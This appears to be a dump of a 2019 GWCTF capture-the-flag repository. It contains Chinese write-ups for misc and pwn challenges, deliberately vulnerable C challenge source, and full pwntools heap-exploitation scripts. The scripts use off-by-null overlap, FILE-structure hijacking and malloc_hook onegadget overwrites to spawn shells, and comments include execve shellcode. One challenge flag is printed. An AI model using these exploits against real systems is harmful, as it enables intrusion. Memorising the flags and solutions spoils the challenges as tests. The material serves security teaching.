s[3]="rps"; 18 | char kills[3]="psr"; 19 | int i = 0; 20 | int flag = 0; 21 | char k; 22 | char killk; 23 | int num = 0; 24 | srand(time(NULL)); 25 | while(i<32){ 26 | int r = rand()%3; 27 | printf("This time I'll take %c,what's your choice\n",s[r]); 28 | if(flag == 0){ 29 | k = s[r]; 30 | killk = kills[r]; 31 | } 32 | else if(flag == 1){ 33 | k = s[(r+1)%3]; 34 | killk = kills[(r+1)%3]; 35 | } 36 | else if(flag == 2){ 37 | k = s[(r+2)%3]; 38 | killk = kills[(r+2)%3]; 39 | } 40 | char input; 41 | scanf("%c",&input); 42 | getchar(); 43 | if(input == killk){ 44 | printf("You win!\n"); 45 | num ++; 46 | flag = (flag+1)%3; 47 | } 48 | else{ 49 | printf("You lose!\n"); 50 | flag = 0; 51 | } 52 | i++; 53 | } 54 | if (num == 32) 55 | { 56 | printf("You get the flag:GWHT{n0t_b4d_g@Y}\n"); 57 | } 58 | else{ 59 | printf("bye bye!\n"); 60 | } 61 | return 0; 62 | } -------------------------------------------------------------------------------- /wp/misc/huyao/README.md: -------------------------------------------------------------------------------- 1 | ## huyao 2 | 这个题目拿到两个图片,用stego弄一下发现两张图片合在一起的时候会显示一些横纹,猜测是盲水印,用个GitHub的脚本跑一下就行了 3 | ```shell 4 | python decode.py --original huyao.png --image stillhuyao.png --result res.png 5 | ``` 6 | 最后结果 7 | ![](./img/1.png) 8 | -------------------------------------------------------------------------------- /wp/misc/huyao/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/misc/huyao/img/1.png -------------------------------------------------------------------------------- /wp/misc/huyao/source/huyao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/misc/huyao/source/huyao.png -------------------------------------------------------------------------------- /wp/misc/huyao/source/stillhuyao.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/misc/huyao/source/stillhuyao.png -------------------------------------------------------------------------------- /wp/pwn/Babyheap/README.md: -------------------------------------------------------------------------------- 1 | ### 一、babyheap 2 | 3 | 这题是出的压轴题,和chunk的最大不同在于,没有了打印函数,size不在fastbin范围,最后比赛结束只有1解,在预料之中,但是有师傅做出来,还是挺开心的,下面讲解下思路: 4 | 5 | 攻击思路如下: 6 | 7 | 1、利用offbynull实现overlap 8 | 9 | 2、利用overlap实现改BK指针,攻击global_max_fast产生fastbin的chunk 10 | 11 | 3、改FD指针为stdout-0x51,成功实现劫持结构体 12 | 13 | 4、修改结构体从而泄露出真实地址 14 | 15 | 5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget 16 | 17 | 6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。 18 | 19 | ```python 20 | #coding=utf8 21 | from pwn import * 22 | context.log_level = 'debug' 23 | context(arch='amd64', os='linux') 24 | local = 0 25 | elf = ELF('./babyheap') 26 | if local: 27 | p = process('./babyheap') 28 | libc = elf.libc 29 | else: 30 | p = remote('183.129.189.60',10013) 31 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 32 | 33 | #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 34 | #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 35 | # payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr}) 36 | # f = FormatStr(isx64=1) 37 | # f[0x8048260]=0x45372800 38 | # f[0x8048260+4]=0x7f20 39 | # f.payload(7) 40 | #shellcode = asm(shellcraft.sh()) 41 | #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 42 | #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' 43 | #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' 44 | 45 | def bk(mallocr): 46 | gdb.attach(p,"b *"+str(hex(mallocr))) 47 | def debug(mallocr,PIE=True): 48 | if PIE: 49 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 50 | gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) 51 | else: 52 | gdb.attach(p,"b *{}".format(hex(mallocr))) 53 | 54 | sl = lambda s : p.sendline(s) 55 | sd = lambda s : p.send(s) 56 | rc = lambda n : p.recv(n) 57 | ru = lambda s : p.recvuntil(s) 58 | ti = lambda : p.interactive() 59 | def malloc(idx,size): 60 | ru("Your choice: ") 61 | sl('1') 62 | ru("Which basketball do you want?") 63 | sl(str(idx)) 64 | ru("how big: ") 65 | sl(str(size)) 66 | def free(index): 67 | ru("Your choice: ") 68 | sl('3') 69 | ru("Which one you do not want?") 70 | sl(str(index)) 71 | def edit(index,content): 72 | ru("Your choice: ") 73 | sl('4') 74 | ru("Which basketball to write?") 75 | sl(str(index)) 76 | ru("Signature: ") 77 | sd(content) 78 | def pwn(): 79 | malloc(0,0xf8) 80 | malloc(1,0xf8) 81 | malloc(2,0xe8) 82 | malloc(3,0xf8) 83 | malloc(4,0xf8) 84 | 85 | free(0) 86 | payload = 'c' * 0xe0 + p64(0x2f0) + 'a' 87 | edit(2,payload) 88 | free(3) 89 | malloc(0,0x2f0 - 0x10) 90 | payload = '\x11' * 0xf0 91 | payload += p64(0) + p64(0x101) 92 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" 93 | edit(0,payload) 94 | free(1) 95 | global_max_fast = 0x77f8 96 | stdout = 0x77f8 - 0x1229 97 | payload = '\x11' * 0xf0 98 | payload += p64(0) + p64(0x101) 99 | payload += p64(0) + p16(0x77f8 - 0x10) + '\n' 100 | edit(0,payload) 101 | # debug(0) 102 | malloc(3,0xf8) 103 | malloc(3,0xf8) 104 | payload = '\x11' * 0xf0 105 | payload += p64(0) + p64(0x101) 106 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" 107 | edit(0,payload) 108 | free(2) 109 | payload = '\x11' * 0xf0 110 | payload += p64(0) + p64(0x101) 111 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) 112 | payload += p16(stdout) + '\n' 113 | edit(0,payload) 114 | malloc(3,0xe8) 115 | malloc(4,0xe8) 116 | py = '' 117 | py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 118 | edit(4,py) 119 | rc(0x40) 120 | libc_base = u64(rc(8)) - 0x3c5600 121 | onegadget = libc_base + 0xf1147 122 | print "libc_base--->" + hex(libc_base) 123 | py = '\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n' 124 | edit(4,py) 125 | #trigger abort-->flush 126 | malloc(1,1000) 127 | i = 0 128 | while 1: 129 | print i 130 | i += 1 131 | try: 132 | pwn() 133 | except EOFError: 134 | p.close() 135 | local = 0 136 | elf = ELF('./babyheap') 137 | if local: 138 | p = process('./babyheap') 139 | libc = elf.libc 140 | continue 141 | else: 142 | p = remote('183.129.189.60',10013) 143 | else: 144 | sl("ls") 145 | break 146 | p.interactive() 147 | ``` 148 | 149 | -------------------------------------------------------------------------------- /wp/pwn/Babyheap/bin/babyheap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/Babyheap/bin/babyheap -------------------------------------------------------------------------------- /wp/pwn/Babyheap/exp/babyheap.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from pwn import * 3 | context.log_level = 'debug' 4 | context(arch='amd64', os='linux') 5 | local = 1 6 | elf = ELF('./babyheap') 7 | if local: 8 | p = process('./babyheap') 9 | libc = elf.libc 10 | else: 11 | p = remote('116.85.48.105',5005) 12 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 13 | 14 | #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 15 | #onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6 16 | # payload32 = fmtstr_payload(offset ,{xxx_got:system_mallocr}) 17 | # f = FormatStr(isx64=1) 18 | # f[0x8048260]=0x45372800 19 | # f[0x8048260+4]=0x7f20 20 | # f.payload(7) 21 | #shellcode = asm(shellcraft.sh()) 22 | #shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80' 23 | #shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05' 24 | #shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' 25 | 26 | def bk(mallocr): 27 | gdb.attach(p,"b *"+str(hex(mallocr))) 28 | def debug(mallocr,PIE=True): 29 | if PIE: 30 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 31 | gdb.attach(p,'b *{}'.format(hex(text_base+mallocr))) 32 | else: 33 | gdb.attach(p,"b *{}".format(hex(mallocr))) 34 | 35 | sl = lambda s : p.sendline(s) 36 | sd = lambda s : p.send(s) 37 | rc = lambda n : p.recv(n) 38 | ru = lambda s : p.recvuntil(s) 39 | ti = lambda : p.interactive() 40 | def malloc(idx,size): 41 | ru("Your choice: ") 42 | sl('1') 43 | ru("Which basketball do you want?") 44 | sl(str(idx)) 45 | ru("how big: ") 46 | sl(str(size)) 47 | def free(index): 48 | ru("Your choice: ") 49 | sl('3') 50 | ru("Which one you do not want?") 51 | sl(str(index)) 52 | def edit(index,content): 53 | ru("Your choice: ") 54 | sl('4') 55 | ru("Which basketball to write?") 56 | sl(str(index)) 57 | ru("Signature: ") 58 | sd(content) 59 | def pwn(): 60 | malloc(0,0xf8) 61 | malloc(1,0xf8) 62 | malloc(2,0xe8) 63 | malloc(3,0xf8) 64 | malloc(4,0xf8) 65 | 66 | free(0) 67 | payload = 'c' * 0xe0 + p64(0x2f0) + 'a' 68 | edit(2,payload) 69 | free(3) 70 | malloc(0,0x2f0 - 0x10) 71 | payload = '\x11' * 0xf0 72 | payload += p64(0) + p64(0x101) 73 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" 74 | edit(0,payload) 75 | free(1) 76 | global_max_fast = 0x77f8 77 | stdout = 0x77f8 - 0x1229 78 | payload = '\x11' * 0xf0 79 | payload += p64(0) + p64(0x101) 80 | payload += p64(0) + p16(0x77f8 - 0x10) + '\n' 81 | edit(0,payload) 82 | # debug(0) 83 | malloc(3,0xf8) 84 | malloc(3,0xf8) 85 | payload = '\x11' * 0xf0 86 | payload += p64(0) + p64(0x101) 87 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n" 88 | edit(0,payload) 89 | free(2) 90 | payload = '\x11' * 0xf0 91 | payload += p64(0) + p64(0x101) 92 | payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) 93 | payload += p16(stdout) + '\n' 94 | edit(0,payload) 95 | malloc(3,0xe8) 96 | malloc(4,0xe8) 97 | py = '' 98 | py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n' 99 | edit(4,py) 100 | rc(0x40) 101 | libc_base = u64(rc(8)) - 0x3c5600 102 | onegadget = libc_base + 0xf1147 103 | print "libc_base--->" + hex(libc_base) 104 | py = '\x00'+p64(libc_base+0x3c55e0)+p64(0)*3+p64(0x1)+p64(onegadget)*2+p64(libc_base+0x3c5600-8) + '\n' 105 | edit(4,py) 106 | #trigger abort-->flush 107 | malloc(1,1000) 108 | i = 0 109 | while 1: 110 | print i 111 | i += 1 112 | try: 113 | pwn() 114 | except EOFError: 115 | p.close() 116 | local = 1 117 | elf = ELF('./babyheap') 118 | if local: 119 | p = process('./babyheap') 120 | libc = elf.libc 121 | continue 122 | else: 123 | p = remote('121.40.246.48',9999) 124 | else: 125 | sl("ls") 126 | break 127 | p.interactive() 128 | 129 | 130 | 131 | 132 | 133 | # p.interactive() 134 | # 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) 135 | # constraints: 136 | # rcx == NULL 137 | 138 | # 0x4f322 execve("/bin/sh", rsp+0x40, environ) 139 | # constraints: 140 | # [rsp+0x40] == NULL 141 | 142 | # 0x10a38c execve("/bin/sh", rsp+0x70, environ) 143 | # constraints: 144 | # [rsp+0x70] == NULL 145 | -------------------------------------------------------------------------------- /wp/pwn/Babyheap/source/babyheap.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | char *chunk[10]; 4 | int *size[10]; 5 | int main(int argc, const char **argv, const char **envp) 6 | { 7 | int v3; 8 | init(); 9 | while ( 1 ) 10 | { 11 | while ( 1 ) 12 | { 13 | qume(); 14 | menu(); 15 | v3 = read_1(); 16 | if ( v3 != 1 ) 17 | break; 18 | add(); 19 | } 20 | if ( v3 == 3 ) 21 | { 22 | delete(); 23 | } 24 | else if ( v3 == 2 ) 25 | { 26 | show(); 27 | } 28 | else if ( v3 == 4 ) 29 | { 30 | edit(); 31 | } 32 | else 33 | { 34 | if ( v3 == 5 ) 35 | { 36 | puts("See you tomorrow~"); 37 | exit(0); 38 | } 39 | puts("Invalid choice!"); 40 | } 41 | } 42 | } 43 | int init() 44 | { 45 | setvbuf(stdin, 0LL, 2, 0LL); 46 | setvbuf(stdout, 0LL, 2, 0LL); 47 | setvbuf(stderr, 0LL, 2, 0LL); 48 | memset(chunk, 0, 0x50); 49 | memset(size, 0, 0x50); 50 | return alarm(0x3C); 51 | } 52 | int add() 53 | { 54 | int v2; 55 | int v3; 56 | printf("Which basketball do you want?"); 57 | v3 = read_1(); 58 | if ( v3 >= 0 && v3 < 5) 59 | { 60 | printf("how big: "); 61 | v2 = read_1(); 62 | if(v2>0x90 && v2<=0x400) 63 | { 64 | chunk[v3] = malloc(v2); 65 | size[v3] = v2; 66 | } 67 | else 68 | { 69 | puts("Wrong size!"); 70 | } 71 | } 72 | else 73 | { 74 | puts("Wrong index!"); 75 | 76 | } 77 | return puts("Done!\n"); 78 | } 79 | int delete() 80 | { 81 | int v1; 82 | int v2; 83 | puts("Which one you do not want?"); 84 | v1 = read_1(); 85 | if ( v1>=0 && v1<5 ) 86 | { 87 | if(chunk[v1]) 88 | { 89 | free(chunk[v1]); 90 | chunk[v1] = 0; 91 | size[v1] = 0; 92 | v2 = puts("Done!\n"); 93 | } 94 | else 95 | { 96 | v2 = puts("Wrong!\n"); 97 | } 98 | } 99 | else 100 | { 101 | v2 = puts("Wrong idx!\n"); 102 | } 103 | return v2; 104 | } 105 | void show() 106 | { 107 | puts("May I give you a true address?"); 108 | puts("\xF0\x9F\x92\xA9"); 109 | } 110 | int edit() 111 | { 112 | int idx; 113 | printf("Which basketball to write?"); 114 | idx = read_1(); 115 | if ( idx >=0 && idx <5 && chunk[idx] ) 116 | { 117 | printf("Signature: "); 118 | read_0(chunk[idx], size[idx]); 119 | } 120 | else 121 | { 122 | puts("Wrong!\n"); 123 | } 124 | return puts("Done!\n"); 125 | } 126 | int read_0(char *a1,int a2) 127 | { 128 | int v3; 129 | char buf[10]; 130 | for (int i = 0; ; ++i ) 131 | { 132 | v3 = i; 133 | if ( i > a2 ) 134 | break; 135 | read(0, buf, 1); 136 | if ( *buf == 10 ) 137 | break; 138 | *(i + a1) = *buf; 139 | if(i == a2) 140 | { 141 | *(i + a1) = 0; 142 | } 143 | } 144 | return v3; 145 | } 146 | void qume() 147 | { 148 | puts("=========================Chicken-you-are-too-beautiful!========================="); 149 | puts("| |"); 150 | puts("| `'` |"); 151 | puts("| `:!$$$|' |"); 152 | puts("| .:||:`'|$$!` |"); 153 | puts("| .:|;'```;!` |"); 154 | puts("| .'';:';:. |"); 155 | puts("| `;|&@@@%;|%;'. |"); 156 | puts("| `%@|!&@@&&@||@@@@@@@&&$!` |"); 157 | puts("| `:`..:$@@@@&|%@&@@@%|&@@@@@@@@@@&$: |"); 158 | puts("| `!%!!%&@@@@@@@@@@@@%|&@@@@@||@@@@%:::;;::'. |"); 159 | puts("| `:'''''';||$$$|;:''|@||@@@@@&|%@@@%` .`.. |"); 160 | puts("| .'::::;;;;' .!$|$@@@@@&|$@@@|. |"); 161 | puts("| '!!!!!!!!` :|%&@@@@@&|$@@@|. |"); 162 | puts("| .:!|||:. .`!&@@@@@&|%@@@! |"); 163 | puts("| '|$&@@&$$$%|` |"); 164 | puts("| .:!!|||||!!!!!' |"); 165 | puts("| `;;!!!!!!!!!!!' |"); 166 | puts("| .';!!!!!!!!!!!!' |"); 167 | puts("| ';;!!|$$||!!!!;` |"); 168 | puts("| .';;!!|$$||!!!!:. |"); 169 | puts("| .:;;;!|;';!;!!;` |"); 170 | puts("| .:;;!|:..:!!!!' |"); 171 | puts("| `;!!|!` .:!!!!` |"); 172 | puts("| :||$$: .:!!||!' |"); 173 | puts("|.....................................`:||%|:. .'!|||!:........................|"); 174 | puts("|```````````````````````````````````````:|$$!'````:|$&&!```````````````````````|"); 175 | puts("|````````````````````````````````````````:||%!'`````!&&%:``````````````````````|"); 176 | puts("|`````````````````````````````````````````:|%$|'````;$$$!``````````````````````|"); 177 | puts("|``````````````````````````````````````````!&@&!````'|&|:``````````````````````|"); 178 | puts("|````````````````````````````````````````;%$&@@%'``````````````````````````````|"); 179 | puts("================================================================================"); 180 | } 181 | int menu() 182 | { 183 | puts("***********************"); 184 | puts("CXK play CTF!"); 185 | puts("***********************"); 186 | puts("1.Buy a basketball"); 187 | puts("2.Show the wondeful skill"); 188 | puts("3.Throw the basketball"); 189 | puts("4.Write your signature"); 190 | puts("5.Go home"); 191 | puts("***********************"); 192 | return printf("Your choice: "); 193 | } 194 | int read_1() 195 | { 196 | int v3; 197 | char nptr[10]; 198 | read_0(nptr,0x10); 199 | v3 = atoi(nptr); 200 | } 201 | -------------------------------------------------------------------------------- /wp/pwn/chunk/README.md: -------------------------------------------------------------------------------- 1 | ### 一、chunk 2 | 3 | 这题是堆题方向的签到题,考察的点就是offbynull,利用offbynull实现overlap,题目还给了泄露的函数,因此就比较简单了,伪造fake_chunk去改malloc_hook为onegadget即可getshell。 4 | 5 | ```python 6 | #coding=utf8 7 | from pwn import * 8 | context.log_level = 'debug' 9 | context(arch='amd64', os='linux') 10 | local = 0 11 | elf = ELF('./chunk') 12 | if local: 13 | p = process('./chunk') 14 | libc = elf.libc 15 | else: 16 | p = remote('183.129.189.60',10014) 17 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 18 | #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 19 | sl = lambda s : p.sendline(s) 20 | sd = lambda s : p.send(s) 21 | rc = lambda n : p.recv(n) 22 | ru = lambda s : p.recvuntil(s) 23 | ti = lambda : p.interactive() 24 | def debug(addr,PIE=True): 25 | if PIE: 26 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 27 | gdb.attach(p,'b *{}'.format(hex(text_base+addr))) 28 | else: 29 | gdb.attach(p,"b *{}".format(hex(addr))) 30 | def bk(addr): 31 | gdb.attach(p,"b *"+str(hex(addr))) 32 | 33 | def malloc(index,size): 34 | ru("Your choice: ") 35 | sl('1') 36 | ru("Give me a book ID: ") 37 | sl(str(index)) 38 | ru("how long: ") 39 | sl(str(size)) 40 | def free(index): 41 | ru("Your choice: ") 42 | sl('3') 43 | ru("Which one to throw?") 44 | sl(str(index)) 45 | def show(index): 46 | ru("Your choice: ") 47 | sl('2') 48 | ru("Which book do you want to show?") 49 | sl(str(index)) 50 | def edit(index,content): 51 | ru("Your choice: ") 52 | sl('4') 53 | ru("Which book to write?") 54 | sl(str(index)) 55 | ru("Content: ") 56 | sl(content) 57 | 58 | malloc(0,0x90) 59 | malloc(1,0x68) 60 | malloc(3,0x68) 61 | malloc(4,0xf8) 62 | malloc(5,0x20) 63 | free(0) 64 | py = '' 65 | py += 'a'*0x60 66 | py += p64(0x180) 67 | edit(3,py) 68 | free(4) 69 | # debug(0) 70 | malloc(5,0x90) 71 | show(5) 72 | ru('Content: ') 73 | libc_base = u64(rc(6).ljust(8,'\x00'))-0x3c4b78-0x270 74 | print "libc_base--->" + hex(libc_base) 75 | onegadget = libc_base + 0xf1147 76 | malloc_hook = libc_base + libc.sym['__malloc_hook'] 77 | realloc = libc_base + libc.sym["realloc"] 78 | malloc(6,0x68) 79 | free(1) 80 | edit(6,p64(malloc_hook-0x23)) 81 | malloc(7,0x68) 82 | malloc(8,0x68) 83 | py = '' 84 | py += 'a'*11 + p64(onegadget) + p64(realloc+2) 85 | edit(8,py) 86 | # debug(0x0CC9) 87 | malloc(9,0x68) 88 | 89 | p.interactive() 90 | ``` 91 | 92 | 这题我看到有师傅泄露出heap地址,用house of Einherjar,实现overlap,也可以做,这题细心的朋友还发现可以使用下标溢出去改IO_File的结构体泄露出地址去做,再改vtable跳转去getshell,也是很不错的思路。 -------------------------------------------------------------------------------- /wp/pwn/chunk/bin/chunk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gwht/2019GWCTF/26201e36fc30202197826274a3b5ee32c5395e4a/wp/pwn/chunk/bin/chunk -------------------------------------------------------------------------------- /wp/pwn/chunk/exp/chunk.py: -------------------------------------------------------------------------------- 1 | #coding=utf8 2 | from pwn import * 3 | context.log_level = 'debug' 4 | context(arch='amd64', os='linux') 5 | local = 1 6 | elf = ELF('./chunk') 7 | if local: 8 | p = process('./chunk') 9 | libc = elf.libc 10 | else: 11 | p = remote('172.16.229.161',7777) 12 | libc = ELF('./libc.so.6') 13 | #onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147 14 | sl = lambda s : p.sendline(s) 15 | sd = lambda s : p.send(s) 16 | rc = lambda n : p.recv(n) 17 | ru = lambda s : p.recvuntil(s) 18 | ti = lambda : p.interactive() 19 | def debug(addr,PIE=True): 20 | if PIE: 21 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 22 | gdb.attach(p,'b *{}'.format(hex(text_base+addr))) 23 | else: 24 | gdb.attach(p,"b *{}".format(hex(addr))) 25 | def bk(addr): 26 | gdb.attach(p,"b *"+str(hex(addr))) 27 | 28 | def malloc(index,size): 29 | ru("Your choice: ") 30 | sl('1') 31 | ru("Give me a book ID: ") 32 | sl(str(index)) 33 | ru("how long: ") 34 | sl(str(size)) 35 | def free(index): 36 | ru("Your choice: ") 37 | sl('3') 38 | ru("Which one to throw?") 39 | sl(str(index)) 40 | def show(index): 41 | ru("Your choice: ") 42 | sl('2') 43 | ru("Which book do you want to show?") 44 | sl(str(index)) 45 | def edit(index,content): 46 | ru("Your choice: ") 47 | sl('4') 48 | ru("Which book to write?") 49 | sl(str(index)) 50 | ru("Content: ") 51 | sl(content) 52 | 53 | malloc(0,0x90) 54 | malloc(1,0x68) 55 | malloc(3,0x68) 56 | malloc(4,0xf8) 57 | malloc(5,0x20) 58 | free(0) 59 | py = '' 60 | py += 'a'*0x60 61 | py += p64(0x180) 62 | edit(3,py) 63 | free(4) 64 | # debug(0) 65 | malloc(5,0x90) 66 | show(5) 67 | ru('Content: ') 68 | libc_base = u64(rc(6).ljust(8,'\x00'))-0x3c4b78-0x270 69 | print "libc_base--->" + hex(libc_base) 70 | onegadget = libc_base + 0xf1147 71 | malloc_hook = libc_base + libc.sym['__malloc_hook'] 72 | realloc = libc_base + libc.sym["realloc"] 73 | malloc(6,0x68) 74 | free(1) 75 | edit(6,p64(malloc_hook-0x23)) 76 | malloc(7,0x68) 77 | malloc(8,0x68) 78 | py = '' 79 | py += 'a'*11 + p64(onegadget) + p64(realloc+2) 80 | edit(8,py) 81 | # debug(0x0CC9) 82 | malloc(9,0x68) 83 | 84 | p.interactive() -------------------------------------------------------------------------------- /wp/pwn/chunk/source/chunk.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | char *chunk[10]; 4 | int number = 0; 5 | int *size[10]; 6 | int main(int argc, const char **argv, const char **envp) 7 | { 8 | int v3; 9 | init(); 10 | while ( 1 ) 11 | { 12 | while ( 1 ) 13 | { 14 | menu(); 15 | scanf("%d", &v3); 16 | if ( v3 != 1 ) 17 | break; 18 | add(); 19 | } 20 | if ( v3 == 3 ) 21 | { 22 | delete(); 23 | } 24 | else if ( v3 == 2 ) 25 | { 26 | show(); 27 | } 28 | else if ( v3 == 4 ) 29 | { 30 | edit(); 31 | } 32 | else 33 | { 34 | if ( v3 == 5 ) 35 | { 36 | puts("See you tomorrow~"); 37 | exit(0); 38 | } 39 | puts("Invalid choice!"); 40 | } 41 | } 42 | } 43 | int init() 44 | { 45 | setvbuf(stdin, 0LL, 2, 0LL); 46 | setvbuf(stdout, 0LL, 2, 0LL); 47 | setvbuf(stderr, 0LL, 2, 0LL); 48 | return memset(chunk, 0, 0x50uLL); 49 | } 50 | int add() 51 | { 52 | int v0; 53 | int v2; 54 | int v3; 55 | printf("Give me a book ID: "); 56 | scanf("%d", &v3); 57 | printf("how long: ", &v3); 58 | scanf("%d", &v2); 59 | if ( v3 >= 0 && v3 <= 9 && number <= 10 ) 60 | { 61 | if(v2>=0&&v2<0x100) 62 | { 63 | v0 = v3; 64 | chunk[v0] = malloc(v2); 65 | size[v0] = v2; 66 | ++number; 67 | return puts("Done!\n"); 68 | } 69 | else 70 | { 71 | puts("too large!"); 72 | } 73 | } 74 | } 75 | int delete() 76 | { 77 | int v1; 78 | unsigned int v2; 79 | v1 = 0; 80 | puts("Which one to throw?"); 81 | scanf("%d", &v1); 82 | if ( v1 > 10 || v1 < 0 ) 83 | { 84 | v2 = puts("Wrong!\n"); 85 | } 86 | else 87 | { 88 | free(chunk[v1]); 89 | chunk[v1]=0; 90 | --number; 91 | v2 = puts("Done!\n"); 92 | } 93 | return v2; 94 | } 95 | void show() 96 | { 97 | char nptr; 98 | int v2; 99 | printf("Which book do you want to show?"); 100 | read_0(&nptr, 16LL); 101 | v2 = atoi(&nptr); 102 | printf("Content: %s", chunk[v2]); 103 | } 104 | int edit() 105 | { 106 | int idx; 107 | printf("Which book to write?"); 108 | scanf("%d",&idx); 109 | printf("Content: "); 110 | read_0(chunk[idx], size[idx]); 111 | return puts("Done!\n"); 112 | } 113 | int read_0(char *a1,int a2) 114 | { 115 | int v3; 116 | char buf[10]; 117 | int i = 0; 118 | for ( ; ; ++i ) 119 | { 120 | v3 = i; 121 | if ( i >= a2 ) 122 | break; 123 | read(0, buf, 1); 124 | if ( *buf == 10 ) 125 | break; 126 | *(i + a1) = *buf; 127 | } 128 | *(i + a1) = 0; 129 | return v3; 130 | } 131 | int menu() 132 | { 133 | puts("\n***********************"); 134 | puts("Welcome to the magic book world!"); 135 | puts("***********************"); 136 | puts("1.create a book"); 137 | puts("2.show the content"); 138 | puts("3.throw a book"); 139 | puts("4.write something on the book"); 140 | puts("5.exit the world"); 141 | return printf("Your choice: "); 142 | } -------------------------------------------------------------------------------- /wp/pwn/pwn_me/README.md: -------------------------------------------------------------------------------- 1 | ### 一、pwn_me 2 | 3 | 这题是当初刚学完栈溢出时,心血来潮出的一道题,顺便复习一下学过的知识点。 4 | 5 | 1、修复壳,拖进010edit加上标志位UPX! 6 | 7 | 2、ubuntu下直接upx -d(有师傅的版本比较高,直接脱了,不用修复文件) 8 | 9 | 3、简单异或和base64的逆向解出来密码是[m] 10 | 11 | 4、接着爆破随机数,这里考察脚本书写能力,1/5概率 12 | 13 | 5、格式化字符串泄露程序基地址+任意地址写改那个全局标志值为0x77(有师傅在这里直接泄露了真实地址也行) 14 | 15 | 6、puts泄露出canary,接着栈溢出回跳一次puts又一次泄露出真实地址,然后栈溢出填onegadget直接getshell 16 | 17 | 7、这里需要注意栈上某些特定的字符不要直接覆盖了(ZXZl) 18 | 19 | ```python 20 | #coding=utf8 21 | from pwn import * 22 | context.log_level = 'debug' 23 | context(arch='amd64', os='linux') 24 | local = 0 25 | sl = lambda s : p.sendline(s) 26 | sd = lambda s : p.send(s) 27 | rc = lambda n : p.recv(n) 28 | ru = lambda s : p.recvuntil(s) 29 | ti = lambda : p.interactive() 30 | 31 | def debug(addr,PIE=True): 32 | if PIE: 33 | text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 34 | gdb.attach(p,'b *{}'.format(hex(text_base+addr))) 35 | else: 36 | gdb.attach(p,"b *{}".format(hex(addr))) 37 | 38 | def bk(addr): 39 | gdb.attach(p,"b *"+str(hex(addr))) 40 | 41 | i = 0 42 | while True: 43 | i += 1 44 | print i 45 | if local: 46 | p = process('./pwn_me') 47 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 48 | else: 49 | p = remote('183.129.189.60',10027) 50 | libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 51 | ru("please input the secret key~") 52 | sl('[m]') 53 | 